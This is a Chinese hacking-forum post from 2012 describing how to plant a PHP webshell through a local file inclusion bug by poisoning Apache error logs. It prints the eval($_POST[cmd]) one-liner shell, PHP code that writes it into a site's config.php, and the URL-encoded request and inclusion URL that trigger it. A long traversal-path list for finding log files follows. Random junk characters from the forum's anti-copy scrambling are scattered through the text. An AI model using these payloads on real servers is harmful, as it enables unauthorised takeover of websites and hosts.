找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1937|回复: 0
打印 上一主题 下一主题

php包含apache日志写马

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:27:40 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。 + T6 l% z, |( n/ O% e9 G

% y3 c! G) b) `8 `# E5 N8 T8 z/ R- K比如还是这句一句话木马 : d" w1 |8 t, k  _0 B" R# p
<?eval($_POST[cmd]);?>   ; X6 [: q9 o- g$ e/ p' m

( i1 c- A: Z9 j5 q7 I# z到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
% F8 R2 p) @# x) t5 Zfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
! v. Z8 s% m( c- k: N! k. L# F7 O5 [7 t2 j$ i2 h& R' d( B
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); : C$ q' P! J2 n4 X
fclose($fp);?>   //在config.php里写入一句木马语句
9 O0 @# q: q4 i0 r
) n, I) ^* p* E6 S( Y; |我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
6 c; f8 B5 {: i5 \* P转换为
! Z+ l& p* p; \8 o9 {! P0 I% @%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F 6 V, P4 }7 H& q& F& g9 i" ]/ E6 J
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp ' F* ?8 I- w/ `) r
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
" Z% w+ [3 C  S" X1 vfclose%28%24fp%29%3B%3F%3E
. U% e( f9 b$ Z6 T- q$ d4 A3 j- F" B我们提交 , [+ a5 Y* m, O
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww 0 b& _% O8 o* C2 ]$ D# B1 y' {
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
" C! f7 E& \( f%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B ! t( n4 [/ g* s& j' S
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
- ]) Z4 w$ O9 p: C( M7 y; g( L: S0 n6 g1 |
这样就错误日志里就记录下了这行写入webshell的代码。
7 y9 j" q$ \8 ~- _" a) i5 a我们再来包含日志,提交   B% N4 E; o9 y
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log * u2 m! o3 L) J/ E: x, l8 f

9 S$ x! w( M  ~这样webshell就写入成功了,config.php里就写入一句木马语句
! l8 [1 [. e& T1 B5 r2 _OK. * @- G; v& M! N  h$ v/ @
http://www.xxx.com/forum/config.php这个就成了我们的webshell
# `0 |# J& ~" R  l直接用lanker的客户端一连,主机就是你的了。
0 Z& r& T& Y; s: _- O$ |( }. N
6 w( c  J+ M; Z2 Y4 `, \/ JPS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
4 y3 o( _2 W( w" ?3 ~
: ?1 R' Z; ^1 }0 O其他的日志路径,你可以去猜,也可以参照这里。
  S, R4 Z( K! b9 Z$ N5 ~! A- v../../../../../../../../../../var/log/httpd/access_log 2 P3 O- T; \2 b0 T8 n' Y9 |* K5 j
../../../../../../../../../../var/log/httpd/error_log 5 {* ?( T5 ]. Q
../apache/logs/error.log ! y  \# z9 r- O7 V2 `! \) G, H+ [5 T
../apache/logs/access.log 6 _7 b$ D- g3 O: C
../../apache/logs/error.log
& B. D& M4 Y  }6 i0 W" Q; n../../apache/logs/access.log 8 ]: F: y7 ^8 L' x' H
../../../apache/logs/error.log
+ ]( g. V5 @+ K( N& o, i../../../apache/logs/access.log + b0 b9 B# X* N7 i. F
../../../../../../../../../../etc/httpd/logs/acces_log
+ b1 U& B- z4 L, k7 E../../../../../../../../../../etc/httpd/logs/acces.log
  @' I! o( T, N  _+ }; Y# g3 A../../../../../../../../../../etc/httpd/logs/error_log 4 ^6 Q, i- B( R! K2 N; w- C
../../../../../../../../../../etc/httpd/logs/error.log 9 e. c4 T3 i4 R0 s* R$ N
../../../../../../../../../../var/www/logs/access_log
. d6 o% \: ~5 H- m8 F) E9 |../../../../../../../../../../var/www/logs/access.log 8 ?0 d% c8 X- I2 }2 L- c
../../../../../../../../../../usr/local/apache/logs/access_log / L' ~4 K  K- m# M/ `8 U
../../../../../../../../../../usr/local/apache/logs/access.log
# r7 v. l( s6 Q' @% z: g. G../../../../../../../../../../var/log/apache/access_log
: P& x" e$ l  v; O../../../../../../../../../../var/log/apache/access.log   w" F+ S. D0 `$ m
../../../../../../../../../../var/log/access_log
/ e1 F! S  d: @  Q$ T../../../../../../../../../../var/www/logs/error_log 1 M& `- @$ ?, D4 z4 a0 U1 V
../../../../../../../../../../var/www/logs/error.log 3 X' r7 L) u1 V* r0 Z' K6 R
../../../../../../../../../../usr/local/apache/logs/error_log
2 H" r' |: h0 ?! X- r../../../../../../../../../../usr/local/apache/logs/error.log
* S, q; W2 M% h/ w/ M3 o  N../../../../../../../../../../var/log/apache/error_log
  G' X/ W& i8 C9 \1 h../../../../../../../../../../var/log/apache/error.log 9 g" R+ Q9 N3 r1 C9 Y
../../../../../../../../../../var/log/access_log 5 n( M1 w& s  A% U1 @7 ?
../../../../../../../../../../var/log/error_log 8 c% Z  @3 }' O) w, ~' x- L& P! l
/var/log/httpd/access_log       3 N" L  w+ J. b7 H1 T
/var/log/httpd/error_log     
5 i/ O/ y7 z7 W8 o5 D. b../apache/logs/error.log     
- g7 ]. i; h4 L* I* m$ [../apache/logs/access.log & t% y. A& V6 A) i' U8 p
../../apache/logs/error.log 7 X) A: Y" r3 R3 x6 @- e
../../apache/logs/access.log
4 c/ r" {0 h5 o  G+ X( [../../../apache/logs/error.log
2 K& g9 [4 c" j/ y../../../apache/logs/access.log 2 y; r9 U5 z  g! k# C- D
/etc/httpd/logs/acces_log 0 d- n' l4 ]& d0 R
/etc/httpd/logs/acces.log
" H, p. v7 G4 v/etc/httpd/logs/error_log
2 o6 O' t9 M) Z+ Q+ L/etc/httpd/logs/error.log
5 q" w# k) d$ y2 Y0 ^: V! ^/var/www/logs/access_log $ }- w6 P  S. d
/var/www/logs/access.log   o5 q8 ^9 B) ?) {* X
/usr/local/apache/logs/access_log , @& Q1 o) ~& U& V0 O# l
/usr/local/apache/logs/access.log
2 i+ @! a4 \' w& I# O( {7 ?, o0 Z/var/log/apache/access_log
7 M! F- S! F( {4 i1 q/var/log/apache/access.log
$ E( Q% `& L, k/var/log/access_log ( a& j* w- _3 @% T  L: K+ T
/var/www/logs/error_log
8 R% C) {) w+ j  p! K0 L5 @/var/www/logs/error.log
6 J" z" \  J4 \8 `6 s0 [/usr/local/apache/logs/error_log
9 a  V4 ]+ p. B% E; W& p/usr/local/apache/logs/error.log
% R' B# h7 W. f/var/log/apache/error_log
8 U& H' |8 P* b4 F% c# C  T/var/log/apache/error.log ( J, V! m6 u6 ]0 D4 k7 i
/var/log/access_log
: o! r/ V* {, s' ?2 W6 {1 w/var/log/error_log
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表